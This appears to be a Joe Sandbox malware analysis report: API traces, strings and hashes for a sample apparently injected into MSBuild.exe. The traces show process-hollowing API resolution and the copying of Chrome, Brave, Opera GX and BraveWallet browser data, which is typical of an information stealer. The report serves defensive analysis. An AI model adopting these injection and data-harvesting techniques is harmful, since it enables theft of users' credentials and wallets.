Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: cd4a56d92ebe8f612b610e688c4f30728cb1f6f2652345522dcac12796165e9d
Instruction ID: 22f87b125319ee9b2ee3e194cc2843291b6b661eca10ca51291e764f3fbcf76c
Opcode Fuzzy Hash: cd4a56d92ebe8f612b610e688c4f30728cb1f6f2652345522dcac12796165e9d
Instruction Fuzzy Hash: E041CA71D4021CBADB14FBA0EC4BFED7378AB08300F6448E57704A7090EAB59A84CF95

Function 00B229B5 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00B229C1

Part of subcall function 00B20954: __getptd_noexit.LIBCMT ref: 00B20957
Part of subcall function 00B20954: __amsg_exit.LIBCMT ref: 00B20964

__amsg_exit.LIBCMT ref: 00B229E1
__lock.LIBCMT ref: 00B229F1
_free.LIBCMT ref: 00B22A21

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3170801528-0
Opcode ID: cdb488327a21f6d606db66afea2a437e5231a64039bb5e551d8e41bc4490d92d
Instruction ID: 068d170cc066ce660f3920067b4d3abee02acd58c8f2345c980cfaf08dcacb61
Opcode Fuzzy Hash: cdb488327a21f6d606db66afea2a437e5231a64039bb5e551d8e41bc4490d92d
Instruction Fuzzy Hash: 79016D31D11621BBCB21AF25B8067AD77E0EF05710F5501A6E819E7691CB346A82CBD5

Function 00AF043F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,00AEF465,00000000,00000001,00000000,00000000,?,00AE7892,00000000,00000000,00000000), ref: 00AF0456
GetLastError.KERNEL32(?,00AEF465,00000000,00000001,00000000,00000000,?,00AE7892,00000000,00000000,00000000,00000000,00000000,?,00AE7E19,00000000), ref: 00AF0462

Part of subcall function 00AF0428: CloseHandle.KERNEL32(FFFFFFFE,00AF0472,?,00AEF465,00000000,00000001,00000000,00000000,?,00AE7892,00000000,00000000,00000000,00000000,00000000), ref: 00AF0438

___initconout.LIBCMT ref: 00AF0472

Part of subcall function 00AF03EA: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00AF0419,00AEF452,00000000,?,00AE7892,00000000,00000000,00000000,00000000), ref: 00AF03FD

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,00AEF465,00000000,00000001,00000000,00000000,?,00AE7892,00000000,00000000,00000000,00000000), ref: 00AF0487

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: e1968021e89f8658875dd4252230951d0b828b834afec23ff6ac7d9e72cfcb5c
Instruction ID: 472f723ff18d6b965d599e87a85172c02765d14f99afdfc0b2b36040aafaa709
Opcode Fuzzy Hash: e1968021e89f8658875dd4252230951d0b828b834afec23ff6ac7d9e72cfcb5c
Instruction Fuzzy Hash: 8FF0303650015CBBCF22AFD5DC08EBE3F66FB483A2B004114FB1985171C7329821DB94

Function 00AD9DB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00AD9DEF
__IsNonwritableInCurrentImage.LIBCMT ref: 00AD9EA3

Strings

csm, xrefs: 00AD9E8D

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 45b7c16e00a659ca20170d93317ea3593c8199454cf28f72f17c8c08dd27686b
Instruction ID: b62ddc99ee6ff9442f60985805b84ac4897db45aace41a6f5c55f58c8b774713
Opcode Fuzzy Hash: 45b7c16e00a659ca20170d93317ea3593c8199454cf28f72f17c8c08dd27686b
Instruction Fuzzy Hash: E341A334A00218ABCF10DFA9C885AAFBBB5EF45324F148156F9169B392DB31DE45CB91

Function 00ADA6BD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00ADA6E2

Strings

RCC, xrefs: 00ADA6FC
MOC, xrefs: 00ADA6F4

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 16b791c595214da9cba5927c30c342ec87f2db5c65fec4a346956c9afb286ecc
Instruction ID: cbab0aecbf1088adc45af286ef11c5447bdffb7e74ee72c8774fe7add774464c
Opcode Fuzzy Hash: 16b791c595214da9cba5927c30c342ec87f2db5c65fec4a346956c9afb286ecc
Instruction Fuzzy Hash: 2B414872900209EFCF15DF94CD81AEEBBB5FF58300F18815AF91AA7251D3359A50DB52

Function 00AD15DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AD15E6
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00AD161E

Part of subcall function 00AD4EBF: _Yarn.LIBCPMT ref: 00AD4EDE
Part of subcall function 00AD4EBF: _Yarn.LIBCPMT ref: 00AD4F02

Strings

bad locale name, xrefs: 00AD162C

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 72f5143ae280090aec381eed7236567be7f4ad8542cf64412ae37f70c9fbe938
Instruction ID: bcc88f8dba0cbe95be015c8c414b15cc670436f002d85fbc72b16d1f6ad1e6b1
Opcode Fuzzy Hash: 72f5143ae280090aec381eed7236567be7f4ad8542cf64412ae37f70c9fbe938
Instruction Fuzzy Hash: 61F01771506B80AE83309F7A9981447FBE4BE2C2107948E2FE1DEC3B11D730E504CB6A

Analysis Process: MSBuild.exePID: 7304, Parent PID: 7288COMMON

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	30

Executed Functions

Function 00418A63 Relevance: 231.5, APIs: 121, Strings: 11, Instructions: 518
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,004173DA), ref: 00418A77
GetProcAddress.KERNEL32 ref: 00418A8E
GetProcAddress.KERNEL32 ref: 00418AA5
GetProcAddress.KERNEL32 ref: 00418ABC
GetProcAddress.KERNEL32 ref: 00418AD3
GetProcAddress.KERNEL32 ref: 00418AEA
GetProcAddress.KERNEL32 ref: 00418B01
GetProcAddress.KERNEL32 ref: 00418B18
GetProcAddress.KERNEL32 ref: 00418B2F
GetProcAddress.KERNEL32 ref: 00418B46
GetProcAddress.KERNEL32 ref: 00418B5D
GetProcAddress.KERNEL32 ref: 00418B74
GetProcAddress.KERNEL32 ref: 00418B8B
GetProcAddress.KERNEL32 ref: 00418BA2
GetProcAddress.KERNEL32 ref: 00418BB9
GetProcAddress.KERNEL32 ref: 00418BD0
GetProcAddress.KERNEL32 ref: 00418BE7
GetProcAddress.KERNEL32 ref: 00418BFE
GetProcAddress.KERNEL32 ref: 00418C15
GetProcAddress.KERNEL32 ref: 00418C2C
GetProcAddress.KERNEL32 ref: 00418C43
GetProcAddress.KERNEL32 ref: 00418C5A
GetProcAddress.KERNEL32 ref: 00418C71
GetProcAddress.KERNEL32 ref: 00418C88
GetProcAddress.KERNEL32 ref: 00418C9F
GetProcAddress.KERNEL32 ref: 00418CB6
GetProcAddress.KERNEL32 ref: 00418CCD
GetProcAddress.KERNEL32 ref: 00418CE4
GetProcAddress.KERNEL32 ref: 00418CFB
GetProcAddress.KERNEL32 ref: 00418D12
GetProcAddress.KERNEL32 ref: 00418D29
GetProcAddress.KERNEL32 ref: 00418D40
GetProcAddress.KERNEL32 ref: 00418D57
GetProcAddress.KERNEL32 ref: 00418D6E
GetProcAddress.KERNEL32 ref: 00418D85
GetProcAddress.KERNEL32 ref: 00418D9C
GetProcAddress.KERNEL32 ref: 00418DB3
GetProcAddress.KERNEL32 ref: 00418DCA
GetProcAddress.KERNEL32 ref: 00418DE1
GetProcAddress.KERNEL32 ref: 00418DF8
GetProcAddress.KERNEL32 ref: 00418E0F
GetProcAddress.KERNEL32 ref: 00418E26
GetProcAddress.KERNEL32 ref: 00418E3D
GetProcAddress.KERNEL32(CreateProcessA), ref: 00418E53
GetProcAddress.KERNEL32(GetThreadContext), ref: 00418E69
GetProcAddress.KERNEL32(ReadProcessMemory), ref: 00418E7F
GetProcAddress.KERNEL32(VirtualAllocEx), ref: 00418E95
GetProcAddress.KERNEL32(ResumeThread), ref: 00418EAB
GetProcAddress.KERNEL32(WriteProcessMemory), ref: 00418EC1
GetProcAddress.KERNEL32(SetThreadContext), ref: 00418ED7
LoadLibraryA.KERNEL32(004173DA), ref: 00418EE8
LoadLibraryA.KERNEL32 ref: 00418EF9
LoadLibraryA.KERNEL32 ref: 00418F0A
LoadLibraryA.KERNEL32 ref: 00418F1B
LoadLibraryA.KERNEL32 ref: 00418F2C
LoadLibraryA.KERNEL32 ref: 00418F3D
LoadLibraryA.KERNEL32 ref: 00418F4E
LoadLibraryA.KERNEL32 ref: 00418F5F
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 00418F6F
GetProcAddress.KERNEL32(75290000), ref: 00418F8A
GetProcAddress.KERNEL32 ref: 00418FA1
GetProcAddress.KERNEL32 ref: 00418FB8
GetProcAddress.KERNEL32 ref: 00418FCF
GetProcAddress.KERNEL32 ref: 00418FE6
GetProcAddress.KERNEL32(734C0000), ref: 00419005
GetProcAddress.KERNEL32 ref: 0041901C
GetProcAddress.KERNEL32 ref: 00419033
GetProcAddress.KERNEL32 ref: 0041904A
GetProcAddress.KERNEL32 ref: 00419061
GetProcAddress.KERNEL32 ref: 00419078
GetProcAddress.KERNEL32 ref: 0041908F
GetProcAddress.KERNEL32 ref: 004190A6
GetProcAddress.KERNEL32(752C0000), ref: 004190C1
GetProcAddress.KERNEL32 ref: 004190D8
GetProcAddress.KERNEL32 ref: 004190EF
GetProcAddress.KERNEL32 ref: 00419106
GetProcAddress.KERNEL32 ref: 0041911D
GetProcAddress.KERNEL32(74EC0000), ref: 0041913C
GetProcAddress.KERNEL32 ref: 00419153
GetProcAddress.KERNEL32 ref: 0041916A
GetProcAddress.KERNEL32 ref: 00419181
GetProcAddress.KERNEL32 ref: 00419198
GetProcAddress.KERNEL32 ref: 004191AF
GetProcAddress.KERNEL32(75BD0000), ref: 004191CE
GetProcAddress.KERNEL32 ref: 004191E5
GetProcAddress.KERNEL32 ref: 004191FC
GetProcAddress.KERNEL32 ref: 00419213
GetProcAddress.KERNEL32 ref: 0041922A
GetProcAddress.KERNEL32 ref: 00419241
GetProcAddress.KERNEL32 ref: 00419258
GetProcAddress.KERNEL32 ref: 0041926F
GetProcAddress.KERNEL32 ref: 00419286
GetProcAddress.KERNEL32(75A70000), ref: 004192A1
GetProcAddress.KERNEL32 ref: 004192B8
GetProcAddress.KERNEL32 ref: 004192CF
GetProcAddress.KERNEL32 ref: 004192E6
GetProcAddress.KERNEL32 ref: 004192FD
GetProcAddress.KERNEL32(75450000), ref: 00419318
GetProcAddress.KERNEL32 ref: 0041932F
GetProcAddress.KERNEL32(75DA0000), ref: 0041934A
GetProcAddress.KERNEL32 ref: 00419361
GetProcAddress.KERNEL32(6F070000), ref: 00419380
GetProcAddress.KERNEL32 ref: 00419397
GetProcAddress.KERNEL32 ref: 004193AE
GetProcAddress.KERNEL32 ref: 004193C5
GetProcAddress.KERNEL32 ref: 004193DC
GetProcAddress.KERNEL32 ref: 004193F3
GetProcAddress.KERNEL32 ref: 0041940A
GetProcAddress.KERNEL32 ref: 00419421
GetProcAddress.KERNEL32(HttpQueryInfoA), ref: 00419437
GetProcAddress.KERNEL32(InternetSetOptionA), ref: 0041944D
GetProcAddress.KERNEL32(75AF0000), ref: 00419468
GetProcAddress.KERNEL32 ref: 0041947F
GetProcAddress.KERNEL32 ref: 00419496
GetProcAddress.KERNEL32 ref: 004194AD
GetProcAddress.KERNEL32(75D90000), ref: 004194C8
GetProcAddress.KERNEL32(6F880000), ref: 004194E3
GetProcAddress.KERNEL32 ref: 004194FA
GetProcAddress.KERNEL32 ref: 00419511
GetProcAddress.KERNEL32 ref: 00419528
GetProcAddress.KERNEL32(6C6B0000,SymMatchString), ref: 00419542

Strings

HttpQueryInfoA, xrefs: 00419427
SymMatchString, xrefs: 0041953C
VirtualAllocEx, xrefs: 00418E85
GetThreadContext, xrefs: 00418E59
InternetSetOptionA, xrefs: 0041943D
CreateProcessA, xrefs: 00418E43
ResumeThread, xrefs: 00418E9B
ReadProcessMemory, xrefs: 00418E6F
SetThreadContext, xrefs: 00418EC7
dbghelp.dll, xrefs: 00418F65
WriteProcessMemory, xrefs: 00418EB1

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessA$GetThreadContext$HttpQueryInfoA$InternetSetOptionA$ReadProcessMemory$ResumeThread$SetThreadContext$SymMatchString$VirtualAllocEx$WriteProcessMemory$dbghelp.dll
API String ID: 2238633743-2740034357
Opcode ID: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction ID: 8ba0d5c8ae2e13c06544b1593b83c2cece409b0c910b42dbc8887f4207037caa
Opcode Fuzzy Hash: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction Fuzzy Hash: C752F475910312AFEF1ADFA0FD088243BA7F718707F11A466E91582270E73B4A64EF19

Function 00414CC8 Relevance: 49.3, APIs: 24, Strings: 4, Instructions: 297
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00414D1C
FindFirstFileA.KERNEL32(?,?), ref: 00414D33
_memset.LIBCMT ref: 00414D4F
_memset.LIBCMT ref: 00414D60
StrCmpCA.SHLWAPI(?,004369F8), ref: 00414D81
StrCmpCA.SHLWAPI(?,004369FC), ref: 00414D9B
wsprintfA.USER32 ref: 00414DC2
StrCmpCA.SHLWAPI(?,0043660F), ref: 00414DD6
wsprintfA.USER32 ref: 00414DFF
wsprintfA.USER32 ref: 00414E16

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

_memset.LIBCMT ref: 00414E28
lstrcatA.KERNEL32(?,?), ref: 00414E3D
strtok_s.MSVCRT ref: 00414E82
_memset.LIBCMT ref: 00414E94
lstrcatA.KERNEL32(?,?), ref: 00414EA9
strtok_s.MSVCRT ref: 00414EC2
PathMatchSpecA.SHLWAPI(?,00000000), ref: 00414ED7
DeleteFileA.KERNEL32(?,00436A28,0043661D), ref: 00414F90
CopyFileA.KERNEL32(?,?,00000001), ref: 00414FA0

Part of subcall function 00412166: CreateFileA.KERNEL32(00414FAC,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00414FAC,?), ref: 00412181

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414FB6
DeleteFileA.KERNEL32(?,00000000,?,000003E8,00000000), ref: 00414FC1
strtok_s.MSVCRT ref: 00414FE7
FindNextFileA.KERNELBASE(?,?), ref: 00415105
FindClose.KERNEL32(?), ref: 00415125

Strings

%s\%s, xrefs: 00414DBC
%s\%s\%s, xrefs: 00414DF9
%s\%s, xrefs: 00414E10
%s\*.*, xrefs: 00414D10

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$_memsetlstrcatwsprintf$Findlstrcpystrtok_s$Delete$CloseCopyCreateFirstMatchNextPathSpecUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: %s\%s$%s\%s$%s\%s\%s$%s\*.*
API String ID: 956187361-332874205
Opcode ID: 0b980f5fe467d40f36a48e0aa954b15b20be97dd482f654baf88f773cf79a131
Instruction ID: 9768ecd297fb6e20fca964dbbce2c4256e5a8c732881b8487d541fa13927e408
Opcode Fuzzy Hash: 0b980f5fe467d40f36a48e0aa954b15b20be97dd482f654baf88f773cf79a131
Instruction Fuzzy Hash: 95C12AB1E0021AABCF22EF60DC45AEE777DAF08305F0140A6FA09A3151DB399F858F55

Function 00409D1C Relevance: 44.4, APIs: 20, Strings: 5, Instructions: 610
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,004367F2,004367EF,00437324,004367EE,?,?,?), ref: 00409DC6
StrCmpCA.SHLWAPI(?,00437328), ref: 00409DE7
StrCmpCA.SHLWAPI(?,0043732C), ref: 00409E01

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

StrCmpCA.SHLWAPI(?,Opera GX,00437330,?,004367F3), ref: 00409E93
StrCmpCA.SHLWAPI(?,Brave,00437350,00437354,00437330,?,004367F3), ref: 0040A015
StrCmpCA.SHLWAPI(?,Preferences), ref: 0040A02F
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A0EF
DeleteFileA.KERNEL32(?), ref: 0040A1BE
StrCmpCA.SHLWAPI(?), ref: 0040A1FC
StrCmpCA.SHLWAPI(?), ref: 0040A266
StrCmpCA.SHLWAPI(0040CCE9), ref: 0040A279

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

StrCmpCA.SHLWAPI(?), ref: 0040A35C
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A41C
StrCmpCA.SHLWAPI(?,Google Chrome), ref: 0040A4C1
DeleteFileA.KERNEL32(?), ref: 0040A522

Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FD4
Part of subcall function 00408DDB: lstrlenA.KERNEL32(?), ref: 00408FEF

Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 00409970
Part of subcall function 00409549: lstrlenA.KERNEL32(?), ref: 0040998B

StrCmpCA.SHLWAPI(?), ref: 0040A553
CopyFileA.KERNEL32(?,?,00000001), ref: 0040A613
DeleteFileA.KERNEL32(?), ref: 0040A6AA

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

FindNextFileA.KERNEL32(?,?), ref: 0040A76E
FindClose.KERNEL32(?), ref: 0040A782

Strings

Brave, xrefs: 0040A00D
\BraveWallet\Preferences, xrefs: 0040A105
Google Chrome, xrefs: 0040A4B9
Preferences, xrefs: 0040A023
Opera GX, xrefs: 00409E8B

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$lstrcpylstrlen$CopyDeleteFind$lstrcat$CloseFirstNextSystemTime
String ID: Brave$Google Chrome$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 4173076446-1189830961
Opcode ID: 0da3506a32181aca8fc8f354fe3ed4c146f38583c2018349b92cc3e4b9347846
Instruction ID: a9b55009a8fcddda8ff4ceb811f1237a8a6c318138ce5e2e0b09e31f0378cf4a
Opcode Fuzzy Hash: 0da3506a32181aca8fc8f354fe3ed4c146f38583c2018349b92cc3e4b9347846
Instruction Fuzzy Hash: 78422A3194012D9BCF21FB65DD46BCD7775AF04308F4101AAB848B31A2DB79AED98F89

Function 6C4135A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C49F688,00001000), ref: 6C4135D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4135E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C4135FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C41363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C41369F
__aulldiv.LIBCMT ref: 6C4136E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C413773
